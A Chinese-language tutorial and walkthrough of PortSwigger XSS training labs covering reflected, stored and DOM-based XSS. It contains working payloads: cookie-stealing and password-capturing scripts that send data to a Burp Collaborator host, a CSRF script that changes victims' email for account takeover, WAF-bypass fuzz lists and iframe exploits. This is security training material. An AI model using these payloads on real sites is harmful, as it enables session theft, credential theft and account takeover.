portswigger xss lab 跨站脚本漏洞利用靶场

portswigger xss lab 跨站脚本漏洞利用靶场

目录导航

在本节中,我们将解释什么是跨站脚本,描述不同种类的跨站脚本漏洞,并说明如何查找和防止跨站脚本。

什么是跨站脚本 (XSS)?

跨站脚本(Cross-site scripting也称为 XSS)是一种 Web 安全漏洞,允许攻击者破坏用户与易受攻击的应用程序的交互。它允许攻击者绕过同源策略,该策略旨在将不同的网站相互隔离。跨站脚本漏洞通常允许攻击者伪装成受害者用户,执行用户能够执行的任何操作,并访问用户的任何数据。如果受害者用户在应用程序中具有特权访问权限,那么攻击者可能能够完全控制应用程序的所有功能和数据。

XSS 是如何工作的?

跨站脚本的工作原理是操纵易受攻击的网站,以便将恶意 JavaScript 返回给用户。当恶意代码在受害者的浏览器中执行时,攻击者可以完全破坏他们与应用程序的交互。

portswigger xss lab 跨站脚本漏洞利用靶场

实验室/靶场

如果您已经熟悉 XSS 漏洞背后的基本概念,并且只想练习在一些现实的、故意易受攻击的目标上利用它们,您可以从下面的链接访问本主题中的所有实验。查看所有 XSS 实验室

XSS 概念证明(xss poc)

您可以通过注入导致您自己的浏览器执行一些任意 JavaScript 的有效负载来确认大多数类型的 XSS 漏洞。长期以来,为此目的使用alert()函数是一种常见的做法,因为它简短、无害,并且在成功调用时很明显。事实上,您可以通过调用alert()模拟受害者的浏览器来解决我们大多数 XSS 实验室的问题。

不幸的是,如果您使用 Chrome,会有一个小问题。从版本 92 开始(2021 年 7 月 20 日),禁止跨域 iframe 调用alert(). 由于这些用于构建一些更高级的 XSS 攻击,您有时需要使用替代的 PoC 有效负载。在这种情况下,我们推荐print()函数。如果您有兴趣了解有关此更改的更多信息以及我们喜欢print()的原因,请查看我们关于该主题的博客文章。

由于我们实验室中的模拟受害者使用 Chrome,我们已经修改了受影响的实验室,以便它们也可以使用print(). 我们已经在相关的说明中指出了这一点。

XSS 攻击的类型有哪些?

XSS 攻击主要分为三种类型。

反射型跨站脚本

反射型 XSS是最简单的跨站脚本。当应用程序在 HTTP 请求中接收数据并以不安全的方式将该数据包含在即时响应中时,就会出现这种情况。

下面是一个反射型 XSS 漏洞的简单示例:

https://insecure-website.com/status?message=All+is+well.

<p>Status: All is well.</p>

该应用程序不会对数据进行任何其他处理,因此攻击者可以轻松构建如下攻击:

https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>

<p>Status: <script>/* Bad stuff here... */</script></p>

如果用户访问攻击者构建的 URL,则攻击者的脚本会在用户的浏览器中执行,在该用户与应用程序的会话上下文中。此时,脚本可以执行任何操作,并检索用户有权访问的任何数据

阅读更多

反射型跨站脚本
跨站脚本备忘单

当应用程序在 HTTP 请求中接收数据并以不安全的方式将这些数据包含在即时响应中时,就会出现反射式跨站脚本(或 XSS)。

假设一个网站有一个搜索功能,它在 URL 参数中接收用户提供的搜索词:

https://insecure-website.com/search?term=gift

应用程序在对此 URL 的响应中回显提供的搜索词:

<p>You searched for: gift</p>

假设应用程序不执行任何其他数据处理,攻击者可以构造如下攻击:

https://insecure-website.com/search?term=<script>/*+Bad+stuff+here...+*/</script>

此 URL 产生以下响应:

<p>You searched for: <script>/* Bad stuff here... */</script></p>

如果应用程序的另一个用户请求攻击者的 URL,那么攻击者提供的脚本将在受害者用户的浏览器中执行,在他们与应用程序的会话上下文中执行恶意js代码。

将XSS反射到 HTML没有任何编码的上下文中

靶场地址:

lab-html-context-nothing-encoded

靶场说明:

本实验室在搜索功能中包含一个简单的反射式跨站脚本漏洞。

要解决实验室问题,请执行调用alert函数的跨站脚本攻击。

靶场解决方案:

①在搜索框输入如下代码:
<script>alert('ddosi.org')</script>
portswigger xss lab 跨站脚本漏洞利用靶场
②点击搜索

弹出如下界面说明存在反射型xss漏洞

portswigger xss lab 跨站脚本漏洞利用靶场
③弹出窗口实验完成

反射型XSS攻击的影响

如果攻击者可以控制在受害者浏览器中执行的脚本,那么他们通常可以完全危害该用户。除此之外,攻击者可以:

  • 在应用程序中执行用户可以执行的任何操作。
  • 查看用户能够查看的任何信息。
  • 修改用户能够修改的任何信息。
  • 发起与其他应用程序用户的交互,包括恶意攻击,这似乎源自最初的受害者用户。

攻击者可以通过多种方式诱使受害者用户发出他们控制的请求,以进行反射型 XSS 攻击。其中包括将链接放置在由攻击者控制的网站上,或放置在允许生成内容的另一个网站上,或通过在电子邮件、推文或其他消息中发送链接。攻击可以直接针对已知用户,也可以不分青红皂白地攻击应用程序的任何用户:

攻击需要外部传递机制意味着反射型 XSS 的影响通常不如存储型 XSS严重,后者可以在易受攻击的应用程序本身内传递自包含攻击。

xss漏洞的利用

证明您发现了跨站脚本漏洞的传统方法是使用该alert()函数创建一个弹出窗口。这不是因为XSS与弹出窗口有任何关系;它只是证明您可以在给定域上执行任意 JavaScript 的一种方法。您可能会注意到有些人使用alert(document.domain)这是一种明确 JavaScript 在哪个域上执行的方法。

有时您会想通过提供完整的利用来进一步证明 XSS 漏洞是真正的威胁。在本节中,我们将探讨利用 XSS 漏洞的三种最流行和最强大的方法。

利用跨站脚本窃取cookies

窃取 cookie 是利用 XSS 的传统方式。大多数 Web 应用程序使用 cookie 进行会话处理。您可以利用跨站脚本漏洞将受害者的 cookie 发送到您自己的域,然后手动将 cookie 注入浏览器并冒充受害者

在实践中,这种方法有一些明显的局限性:

  • 受害者可能没有登录。
  • 许多应用程序使用该HttpOnly标志 对 JavaScript 隐藏其 cookie 。
  • 会话可能会被其他因素锁定,例如用户的 IP 地址。
  • 在您能够劫持它之前,会话可能会超时。

利用跨站脚本窃取cookies实验

靶场地址:

利用跨站脚本窃取cookies

靶场说明:

本实验包含博客评论功能中的存储型 XSS漏洞。模拟受害者用户在发布后查看所有评论。为解决实验室问题,利用该漏洞窃取受害者的会话 cookie,然后使用此 cookie 冒充受害者登录。

注意:
为了防止 Academy 平台被用来攻击第三方,我们的防火墙阻止了实验室与任意外部系统之间的交互。要解决实验,您必须使用 Burp Collaborator 的默认公共服务器。
一些用户会注意到这个实验有一个不需要 Burp Collaborator 的替代解决方案。然而,它远没有泄露cookie那么微妙。

解决方案:

①使用Burp Collaborator client

Burp>Burp Collaborator client>Copy to clipboard

portswigger xss lab 跨站脚本漏洞利用靶场
②点击查看帖子,将如下代码在评论区提交

注意:
d5jy5dv0i8bqg6uova7vvdxrxi38rx.oastify.com改成你自己Burp Collaborator client提供的地址

<script>
fetch('https://d5jy5dv0i8bqg6uova7vvdxrxi38rx.oastify.com', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
portswigger xss lab 跨站脚本漏洞利用靶场
③点击Burp Collaborator client上面的Poll now按钮,查看返回数据
portswigger xss lab 跨站脚本漏洞利用靶场

现在我们已经获取到cookies了,接下来使用别人的cookies登录.

④修改自己的cookies接管别人的账户

点击my-account,拦截数据包修改cookies为我们xss获取到的:

portswigger xss lab 跨站脚本漏洞利用靶场

修改后如下所示:

portswigger xss lab 跨站脚本漏洞利用靶场

提交数据后我们成功接管管理员账户:

portswigger xss lab 跨站脚本漏洞利用靶场

替代解决方案

或者,您可以通过利用 XSS 执行 CSRF 来调整攻击,使受害者在博客评论中发布他们的会话 cookie 。但是,这远没有那么微妙,因为它公开了 cookie,并且还公开了执行攻击的证据。

利用跨站脚本漏洞捕获密码

如今,许多用户都有自动填写密码的密码管理器。您可以通过创建密码输入、读出自动填充的密码并将其发送到您自己的域来利用这一点。这种技术避免了与窃取 cookie 相关的大部分问题,甚至可以访问受害者重复使用相同密码的所有其他帐户。

这种技术的主要缺点是它仅适用于拥有执行密码自动填充的密码管理器的用户。(当然,如果用户没有保存密码,您仍然可以尝试通过现场网络钓鱼攻击来获取他们的密码,但这并不完全相同。)

靶场地址:

利用跨站脚本捕获密码

靶场说明:

本实验包含博客评论功能中的存储型 XSS漏洞。模拟受害者用户在发布后查看所有评论。为了解决实验室问题,利用该漏洞窃取受害者的用户名和密码,然后使用这些凭据登录受害者的帐户。

提示:

为了防止 Academy 平台被用来攻击第三方,我们的防火墙阻止了实验与任意外部系统之间的交互。要解决实验问题,您必须使用 Burp Collaborator 的默认公共服务器。

一些用户会注意到这个实验室有一个不需要 Burp Collaborator 的替代解决方案。然而,它远没有泄露凭证那么微妙。

解决方案:
①使用Burp Collaborator client

Burp>Burp Collaborator client>Copy to clipboard

portswigger xss lab 跨站脚本漏洞利用靶场
②点击查看帖子,将如下代码在评论区提交

注意:
troerthg4ox62mg4hqtbhtj7jyprdg.oastify.com改成你自己Burp Collaborator client提供的地址

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://troerthg4ox62mg4hqtbhtj7jyprdg.oastify.com',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
portswigger xss lab 跨站脚本漏洞利用靶场
③点击Burp Collaborator client上面的Poll now按钮,查看返回数据
portswigger xss lab 跨站脚本漏洞利用靶场
④根据返回的账号密码登录即可完成实验.

利用跨站脚本执行CSRF

合法用户可以在网站上做的任何事情,你也可以用 XSS 做。根据您所针对的站点,您可能可以让受害者发送消息、接受好友请求、向源代码存储库提交后门或转移一些比特币。

一些网站允许登录用户更改他们的电子邮件地址,而无需重新输入密码。如果您发现了 XSS 漏洞,您可以让它触发此功能,将受害者的电子邮件地址更改为您控制的地址,然后触发密码重置以接管该帐户。

这种类型的利用通常被称为跨站请求伪造(CSRF),这有点令人困惑,因为 CSRF 也可以作为独立漏洞发生。当 CSRF 作为独立漏洞发生时,可以使用反 CSRF 令牌等策略对其进行修补。但是,如果还存在 XSS 漏洞,这些策略不会提供任何保护。

靶场地址:

利用 XSS 执行 CSRF

靶场说明:

本实验包含博客评论功能中的存储型 XSS漏洞。为了解决实验室问题,利用该漏洞执行CSRF 攻击并更改查看博客帖子评论的人的电子邮件地址。

您可以使用以下凭据登录到您自己的帐户:wiener:peter

解决方案:
①使用wiener:peter登陆

此时我们发现我们自己的邮箱账号是[email protected]

portswigger xss lab 跨站脚本漏洞利用靶场
②点击修改email
portswigger xss lab 跨站脚本漏洞利用靶场

我们在数据包中发现存在csrf字样

③退出账户
④在评论区提交如下代码
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&[email protected]')
};
</script>

以上代码将会把所有查看评论的用户的邮箱改为[email protected]

⑤返回查看刚刚帖子的评论
⑥返回查看自己的邮箱

此时发现自己的邮箱已经变成[email protected],说明漏洞利用成功,接下来的事你懂的(别人的账号填写忘记密码–填写邮箱重置密码,密码发到你的邮箱,成功接管别人的账户)

portswigger xss lab 跨站脚本漏洞利用靶场

不同上下文中的反射型 XSS

有许多不同种类的反射式跨站脚本。应用程序响应中反射数据的位置决定了利用它需要什么类型的payloads,并且还可能影响漏洞的影响。

另外,如果应用程序在提交的数据被反映之前对其进行了任何验证或其他处理,这通常会影响需要什么样的 XSS 载荷。

跨站脚本上下文

在测试反射型和存储型 XSS时,一项关键任务是识别 XSS 上下文:

  • 响应中出现攻击者可控数据的位置
  • 应用程序对该数据执行的任何输入验证或其他处理。

根据这些详细信息,您可以选择一个或多个候选 XSS 有效载荷,并测试它们是否有效。

提示

我们构建了一个全面的XSS 备忘单来帮助测试 Web 应用程序和过滤器。您可以按事件和标签进行过滤,并查看哪些向量需要用户交互。备忘单还包含 AngularJS 沙箱逃逸和许多其他部分,以帮助进行 XSS 研究。

HTML 标签之间的 XSS

当 XSS 上下文是 HTML 标签之间的文本时,您需要引入一些旨在触发 JavaScript 执行的新 HTML 标签。

执行 JavaScript 的一些有用方法是:

<script>alert(document.domain)</script>
<img src=1 onerror=alert(1)>

存储型跨站脚本

当应用程序从不受信任的来源接收数据并以不安全的方式将该数据包含在其以后的 HTTP 响应中时,就会出现存储型 XSS(也称为持久性或二阶 XSS)。

有问题的数据可能会通过 HTTP 请求提交给应用程序;例如,对博客文章的评论、聊天室中的用户昵称或客户订单的详细联系信息。在其他情况下,数据可能来自其他不受信任的来源;例如,显示通过 SMTP 接收的消息的网络邮件应用程序、显示社交媒体帖子的营销应用程序或显示来自网络流量的数据包数据的网络监控应用程序。

这是一个存储型 XSS 漏洞的简单示例。留言板应用程序允许用户提交消息,这些消息会显示给其他用户:

<p>Hello, this is my message!</p>

该应用程序不会对数据执行任何其他处理,因此攻击者可以轻松发送攻击其他用户的消息:

<p><script>/* Bad stuff here... */</script></p>

阅读更多

存储型跨站脚本
跨站脚本备忘单

将 XSS 存储到没有任何编码的HTML 上下文中

靶场地址:

stored/lab-html-context-nothing-encoded

靶场说明:

该实验室在评论功能中包含一个存储型跨站脚本漏洞。

要解决此实验,请提交一条评论,在查看博客文章时 调用alert函数。

解决方案:

①将如下代码粘贴到评论区并提交
<script>alert('www.ddosi.org')</script>
②点击返回:

页面将会弹出www.ddosi.org

portswigger xss lab 跨站脚本漏洞利用靶场
③查看网页源代码
portswigger xss lab 跨站脚本漏洞利用靶场

我们发现代码已经插入页面中.永久存储.我们每刷新一次就会弹出一次.

将 XSS 反射到 HTML 上下文中,大多数标签和属性被阻止

靶场地址:

lab-html-context-with-most-tags-and-attributes-blocked

靶场说明:

该实验室在搜索功能中包含反射型 XSS漏洞,但使用 Web 应用程序防火墙 (WAF) 来防止常见的 XSS 向量。

要解决实验室问题,请执行绕过 WAF 并调用print()函数的跨站脚本攻击。

提示:
您的解决方案不需要任何用户交互。手动导致print()在您自己的浏览器中调用不会解决实验室问题。

解决方案:

注入一个标准的 XSS 向量,例如:

<img src=1 onerror=print()>
  1. 请注意,这会被阻止。在接下来的几个步骤中,我们将使用 Burp Intruder 来测试哪些标签和属性被阻止了。
  2. 打开 Burp 的浏览器并使用实验室中的搜索功能。将生成的请求发送到 Burp Intruder。
  3. 在 Burp Intruder 的 Positions 选项卡中,单击“Clear §”。将搜索词的值替换为:<>
  4. 将光标放在尖括号之间并单击“添加§”两次,以创建有效载荷位置。搜索词的值现在应该如下所示:<§§>
  5. 访问XSS 备忘单并单击“复制标签到剪贴板”。
  6. 在 Burp Intruder 的 Payloads 选项卡中,单击“Paste”将标签列表粘贴到有效负载列表中。点击“开始攻击”。
  7. 攻击完成后,查看结果。请注意,所有有效负载都会导致 HTTP 400 响应,但body有效负载除外,它会导致 200 响应。
  8. 返回 Burp Intruder 中的 Positions 选项卡,并将您的搜索词替换为:
<body%20=1>

将光标放在=字符前并单击“添加§”两次,以创建有效载荷位置。搜索词的值现在应该如下所示:

<body%20§§=1>

访问XSS 备忘单并单击“将事件复制到剪贴板”。

在 Burp Intruder 中,在 Payloads 选项卡中,单击“Clear”以删除以前的有效负载。然后单击“粘贴”将属性列表粘贴到有效负载列表中。点击“开始攻击”。

攻击完成后,查看结果。请注意,所有有效负载都会导致 HTTP 400 响应,但onresize有效负载除外,它会导致 200 响应。

转到漏洞利用服务器并粘贴以下代码,替换your-lab-id为您的实验室 ID:

<iframe src="https://your-lab-id.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>

单击“save”和“向受害者提供漏洞利用”。

①将如下列表保存为tag.txt

a
a2
abbr
acronym
address
animate
animatemotion
animatetransform
applet
area
article
aside
audio
audio2
b
bdi
bdo
big
blink
blockquote
body
br
button
canvas
caption
center
cite
code
col
colgroup
command
content
custom tags
data
datalist
dd
del
details
dfn
dialog
dir
div
dl
dt
element
em
embed
fieldset
figcaption
figure
font
footer
form
frame
frameset
h1
head
header
hgroup
hr
html
i
iframe
iframe2
image
image2
image3
img
img2
input
input2
input3
input4
ins
kbd
keygen
label
legend
li
link
listing
main
map
mark
marquee
menu
menuitem
meta
meter
multicol
nav
nextid
nobr
noembed
noframes
noscript
object
ol
optgroup
option
output
p
param
picture
plaintext
pre
progress
q
rb
rp
rt
rtc
ruby
s
samp
script
section
select
set
shadow
slot
small
source
spacer
span
strike
strong
style
sub
summary
sup
svg
table
tbody
td
template
textarea
tfoot
th
thead
time
title
tr
track
tt
u
ul
var
video
video2
wbr
xmp

②正常插入xss测试代码

<img src=1 onerror=print()>

被防火墙拦截

portswigger xss lab 跨站脚本漏洞利用靶场

接下来为了搞清楚哪些标签没有被防火墙拦截,所示我们使用burp跑一遍:

③抓包修改发送到intruder,使用tag.txt字典进行fuzz:

portswigger xss lab 跨站脚本漏洞利用靶场

可以看到body标签未被拦截

④将如下列表保存为events.txt

onafterprint
onafterscriptexecute
onanimationcancel
onanimationend
onanimationiteration
onanimationstart
onauxclick
onbeforecopy
onbeforecut
onbeforeprint
onbeforescriptexecute
onbeforeunload
onbegin
onblur
onbounce
oncanplay
oncanplaythrough
onchange
onclick
onclose
oncontextmenu
oncopy
oncuechange
oncut
ondblclick
ondrag
ondragend
ondragenter
ondragleave
ondragover
ondragstart
ondrop
ondurationchange
onend
onended
onerror
onfinish
onfocus
onfocusin
onfocusout
onfullscreenchange
onhashchange
oninput
oninvalid
onkeydown
onkeypress
onkeyup
onload
onloadeddata
onloadedmetadata
onloadend
onloadstart
onmessage
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
onmousewheel
onmozfullscreenchange
onpagehide
onpageshow
onpaste
onpause
onplay
onplaying
onpointerdown
onpointerenter
onpointerleave
onpointermove
onpointerout
onpointerover
onpointerrawupdate
onpointerup
onpopstate
onprogress
onrepeat
onreset
onresize
onscroll
onsearch
onseeked
onseeking
onselect
onselectionchange
onselectstart
onshow
onstart
onsubmit
ontimeupdate
ontoggle
ontouchend
ontouchmove
ontouchstart
ontransitioncancel
ontransitionend
ontransitionrun
ontransitionstart
onunhandledrejection
onunload
onvolumechange
onwebkitanimationend
onwebkitanimationiteration
onwebkitanimationstart
onwebkittransitionend
onwheel

⑤抓包修改发送到intruder,使用events.txt字典进行fuzz:

<body xss=1>

可以看到onresize未被拦截

portswigger xss lab 跨站脚本漏洞利用靶场

⑥将如下payload放在漏洞利用服务器中保存并提供给受害者:

<iframe src="https://0a0a009a0354fcc7c0f5205e00580070.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>

注意:url改成自己的靶场地址

基于 DOM 的跨站脚本

基于 DOM 的 XSS(也称为DOM XSS)在应用程序包含一些客户端 JavaScript 时出现,这些 JavaScript 以不安全的方式处理来自不受信任的来源的数据,通常是将数据写回 DOM。

在以下示例中,应用程序使用一些 JavaScript 从输入字段读取值并将该值写入 HTML 中的元素:

var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;

如果攻击者可以控制输入字段的值,他们很容易构造一个恶意值,导致自己的脚本执行:

You searched for: <img src=1 onerror='/* Bad stuff here... */'>

在典型情况下,输入字段将从 HTTP 请求的一部分(例如 URL 查询字符串参数)填充,从而允许攻击者使用恶意 URL 进行攻击,其方式与反射 XSS 相同。

什么是基于 DOM 的跨站脚本?

基于 DOM 的 XSS 漏洞通常出现在 JavaScript 从攻击者可控制的来源(例如 URL)获取数据并将其传递到支持动态代码执行的接收器(例如eval()innerHTML. 这使攻击者能够执行恶意 JavaScript,这通常允许他们劫持其他用户的帐户。

要进行基于 DOM 的 XSS 攻击,您需要将数据放入源中,以便将其传播到接收器并导致执行任意 JavaScript。

DOM XSS 最常见的来源是 URL,通常通过window.location对象访问。攻击者可以构建一个链接,将受害者发送到易受攻击的页面,其中包含查询字符串中的有效负载和 URL 的片段部分。在某些情况下,例如针对 404 页面或运行 PHP 的网站时,有效负载也可以放置在路径中。

有关源和接收器之间的污点流的详细说明,请参阅基于 DOM 的漏洞页面。

如何测试基于 DOM 的跨站脚本

大多数 DOM XSS 漏洞可以使用 Burp Suite 的Web 漏洞扫描器 快速可靠地找到。要手动测试基于 DOM 的跨站脚本,您通常需要使用带有开发工具的浏览器,例如 Chrome。您需要依次处理每个可用资源,并单独测试每个资源。

测试 HTML 接收器

要在 HTML 接收器中测试 DOM XSS,请将随机字母数字字符串放入源中(例如location.search),然后使用开发人员工具检查 HTML 并找到字符串出现的位置。请注意,浏览器的“查看源代码”选项不适用于 DOM XSS 测试,因为它没有考虑 JavaScript 在 HTML 中执行的更改。在 Chrome 的开发人员工具中,您可以使用Control+F(或Command+F在 MacOS 上)在 DOM 中搜索您的字符串。

对于字符串在 DOM 中出现的每个位置,您需要识别上下文。基于此上下文,您需要优化输入以查看其处理方式。例如,如果您的字符串出现在双引号属性中,则尝试在字符串中插入双引号以查看是否可以突破该属性。

请注意,浏览器在 URL 编码方面的行为不同,Chrome、Firefox 和 Safari 将对这些源进行 URL 编码location.searchlocation.hash而 IE11 和 Microsoft Edge(Chromium 之前)不会对这些源进行 URL 编码。如果您的数据在处理之前进行了 URL 编码,则 XSS 攻击不太可能起作用

测试 JavaScript 执行接收器

为基于 DOM 的 XSS 测试 JavaScript 执行接收器有点困难。使用这些接收器,您的输入不一定会出现在 DOM 中的任何位置,因此您无法搜索它。相反,您需要使用 JavaScript 调试器来确定您的输入是否以及如何发送到接收器。

对于每个潜在的来源,例如location,您首先需要在页面的 JavaScript 代码中找到引用来源的案例。在 Chrome 的开发人员工具中,您可以使用Control+Shift+F(或Command+Alt+F在 MacOS 上)搜索所有页面的 JavaScript 代码以查找源代码。

找到读取源的位置后,您可以使用 JavaScript 调试器添加断点并跟踪源值的使用方式。您可能会发现源被分配给其他变量。如果是这种情况,您将需要再次使用搜索功能来跟踪这些变量并查看它们是否已传递到接收器。当您发现一个接收器被分配了源自源的数据时,您可以使用调试器通过将鼠标悬停在变量上来检查该值,以在将其发送到接收器之前显示其值。然后,与 HTML 接收器一样,您需要优化输入以查看是否可以成功进行 XSS 攻击。

使用 DOM Invader 测试 DOM XSS

在野外识别和利用 DOM XSS 可能是一个乏味的过程,通常需要您手动搜索复杂、缩小的 JavaScript。但是,如果您使用 Burp 的浏览器,则可以利用其内置的 DOM Invader 扩展,它为您完成了很多艰苦的工作。

DOM Invader打开方式:

portswigger xss lab 跨站脚本漏洞利用靶场
portswigger xss lab 跨站脚本漏洞利用靶场
portswigger xss lab 跨站脚本漏洞利用靶场

阅读更多

DOM 入侵者文档

利用不同来源和接收器的 DOM XSS

原则上,如果存在数据可以通过其从源传播到接收器的可执行路径,则网站容易受到基于 DOM 的跨站脚本的攻击。在实践中,不同的源和汇具有不同的属性和行为,它们会影响可利用性,并确定需要哪些技术。此外,该网站的脚本可能会对尝试利用漏洞时必须适应的数据进行验证或其他处理。有多种与基于 DOM 的漏洞相关的接收器。详情请参阅以下列表

接收器document.writescript元素一起使用,因此您可以使用简单的有效负载,如下所示:

document.write('... <script>alert(document.domain)</script> ...');

document.write中使用源接收器location.search的DOM XSS

靶场地址:

dom-based/lab-document-write-sink

靶场说明:

该实验室在搜索查询跟踪功能中包含一个基于 DOM 的跨站脚本漏洞。它使用 JavaScriptdocument.write函数,将数据写入页面。该document.write函数使用来自location.search的数据调用,您可以使用网站 URL 进行控制。

要解决此实验,请执行调用alert函数的跨站脚本攻击。

解决方案:

  1. 在搜索框中输入随机字母数字字符串。
portswigger xss lab 跨站脚本漏洞利用靶场
  1. 右键单击并检查元素,并观察您的随机字符串已放置在img src属性内。
  2. 通过搜索如下字符串破坏img属性:
"><svg onload=alert(1)>
portswigger xss lab 跨站脚本漏洞利用靶场

这个原理相当于sql注入里面的'--

但是请注意,在某些情况下,写入的内容document.write包括一些您需要在漏洞利用中考虑的周围环境。例如,您可能需要在使用 JavaScript 有效负载之前关闭一些现有元素。

location.search使用选择元素内的document.write源在接收器中的 DOM XSS

靶场地址:

dom-based/lab-document-write-sink-inside-select-element

靶场说明:

该实验室在股票检查器功能中包含一个基于 DOM 的跨站脚本漏洞。它使用 JavaScriptdocument.write函数,将数据写入页面。使用您可以使用网站 URL 控制的数据调用该document.write函数。location.search数据包含在一个选择元素中。

要解决此实验,请执行跨站脚本攻击,突破选择元素并调用该alert函数。

解决方案:

  1. 在产品页面上,请注意危险的 JavaScriptstoreIdlocation.search源中提取参数。然后,它用于document.write在 select 元素中为库存检查器功能创建一个新选项。
  2. storeId查询参数添加到 URL 并输入随机字母数字字符串作为其值。请求这个修改后的 URL。
  3. 在浏览器中,请注意您的随机字符串现在列为下拉列表中的选项之一。
  4. 右键单击并检查下拉列表以确认您的storeId参数值已放置在选择元素内。
  5. 更改 URL 以在参数中 包含合适的XSSstoreId有效负载,如下所示:
product?productId=1&storeId="></select><img%20src=1%20onerror=alert(1)>

实验很简单,我们直接在搜索框里面输入如下payload进行搜索即可:

<img src=1 onerror=alert(1)>
portswigger xss lab 跨站脚本漏洞利用靶场
portswigger xss lab 跨站脚本漏洞利用靶场

第三方依赖中的源和汇

现代 Web 应用程序通常使用许多第三方库和框架构建,这些库和框架通常为开发人员提供额外的功能和能力。重要的是要记住,其中一些也是 DOM XSS 的潜在来源和接收器。

jQuery 中的 DOM XSS

如果正在使用 jQuery 等 JavaScript 库,请注意可以改变页面上 DOM 元素的接收器。例如,jQuery 的attr()函数可以改变 DOM 元素的属性。如果从用户控制的源(如 URL)读取数据,然后将其传递给attr()函数,则可能会操纵发送的值以导致 XSS。例如,这里有一些 JavaScript,href使用来自 URL 的数据来更改锚元素的属性:

$(function() {
	$('#backLink').attr("href",(new URLSearchParams(window.location.search)).get('returnUrl'));
});

您可以通过修改 URL 以使location.search源包含恶意 JavaScript URL 来利用此漏洞。在页面的 JavaScript 将此恶意 URL 应用于反向链接后href,单击反向链接将执行它:

?returnUrl=javascript:alert(document.domain)

使用源的 jQuery 锚href属性接收器中的 location.searchDOM XSS

靶场地址:

cross-site-scripting/dom-based/lab-jquery-href-attribute-sink

实验说明:

本实验室在提交反馈页面中包含一个基于 DOM 的跨站脚本漏洞。它使用 jQuery 库的$选择器函数来查找锚元素,并使用来自location.searchhref.

要解决此实验,请设置“返回”链接弹出document.cookie

解决方案:

  1. 在提交反馈页面上,将查询参数更改returnPath/后跟随机字母数字字符串。
  2. 右键单击并检查元素,并观察您的随机字符串已放置在 ahref属性中。
  3. 更改returnPath为:javascript:alert(document.cookie)点击回车并点击“返回”。

①点击Submit feedback

portswigger xss lab 跨站脚本漏洞利用靶场

②将returnPath=后面的/改成如下payload:

javascript:alert(document.cookie)

回车即可完成实验

另一个需要注意的潜在接收器是 jQuery 的$()选择器功能,它可用于将恶意对象注入 DOM。

jQuery 曾经非常流行,一个经典的 DOM XSS 漏洞是由网站使用此选择器结合location.hash动画源或自动滚动到页面上的特定元素引起的。此行为通常使用易受攻击的hashchange事件处理程序实现,类似于以下内容:

$(window).on('hashchange', function() {
	var element = $(location.hash);
	element[0].scrollIntoView();
});

由于hash是用户可控的,攻击者可以使用它来将 XSS 向量注入$()选择器接收器,最新版本的 jQuery 通过阻止您在#输入以哈希字符 ( )开头时将 HTML 注入选择器来修补此特定漏洞。但是,您可能仍然会在野外发现易受攻击的代码。

要真正利用这个经典漏洞,您需要找到一种hashchange无需用户交互即可触发事件的方法。执行此操作的最简单方法之一是通过以下方式提供您的漏洞利用iframe

<iframe src="https://vulnerable-website.com#" onload="this.src+='<img src=1 onerror=alert(1)>'">

在此示例中,该src属性指向具有空哈希值的易受攻击的页面。加载iframe时,XSS 向量会附加到hash中,从而hashchange触发事件。

提示:
即使更新版本的 jQuery 仍然可以通过$()选择器接收器受到攻击,前提是您可以完全控制来自不需要#前缀的源的输入。

使用 hashchange 事件的 jQuery 选择器接收器中的 DOM XSS

靶场地址:

cross-site-scripting/dom-based/lab-jquery-selector-hash-change-event

靶场说明:

本实验的主页包含一个基于 DOM 的跨站脚本漏洞。它使用 jQuery 的$()选择器函数自动滚动到给定的帖子,其标题通过location.hash属性传递。

要解决实验室问题,请向受害者提供print()在其浏览器中调用该函数的漏洞。

解决方案:

请注意使用 Burp 或浏览器的 DevTools 的主页上的易受攻击代码。
从实验室横幅中,打开漏洞利用服务器。
在Body部分,添加以下恶意代码iframe:

<iframe src="https://YOUR-LAB-ID.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>

保存漏洞利用,然后单击查看漏洞利用以确认print()调用了该函数。
返回漏洞利用服务器并单击交付给受害者以解决实验室问题。

①进入漏洞利用服务器

②将Body部分改成如下payload:

<iframe src="https://0a9e00bb04dfb98cc08318b700b800dc.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>
\

注意事项:
src=” 后面改成你自己的靶场地址

portswigger xss lab 跨站脚本漏洞利用靶场

portswigger xss lab 跨站脚本漏洞利用靶场

点击store,deliver exploit to victim即可完成实验.

AngularJS中的 DOM XSS

如果使用 AngularJS 之类的框架,则可以在没有尖括号或事件的情况下执行 JavaScript。当站点ng-app在 HTML 元素上使用该属性时,它将由 AngularJS 处理。在这种情况下,AngularJS 将在可以直接出现在 HTML 或内部属性中的双花括号内执行 JavaScript。

带有尖括号和双引号的 AngularJS 表达式中的 DOM XSS HTML 编码

靶场地址:

cross-site-scripting/dom-based/lab-angularjs-expression

靶场说明:

该实验室在搜索功能中的AngularJS表达式中 包含一个基于 DOM 的跨站脚本漏洞。

AngularJS 是一个流行的 JavaScript 库,它扫描包含ng-app属性(也称为 AngularJS 指令)的 HTML 节点的内容。将指令添加到 HTML 代码时,您可以在双花括号内执行 JavaScript 表达式。当尖括号被编码时,这种技术很有用。

为了解决这个实验,执行跨站脚本攻击,执行 AngularJS 表达式并调用alert函数。

解决方案:

  1. 在搜索框中输入随机字母数字字符串。
  2. 查看页面源代码并观察您的随机字符串包含在ng-app指令中。
  3. 在搜索框中输入以下 AngularJS 表达式:
{{$on.constructor('alert(1)')()}}
portswigger xss lab 跨站脚本漏洞利用靶场

点击搜索即可完成实验.

DOM XSS 结合反射和存储的数据

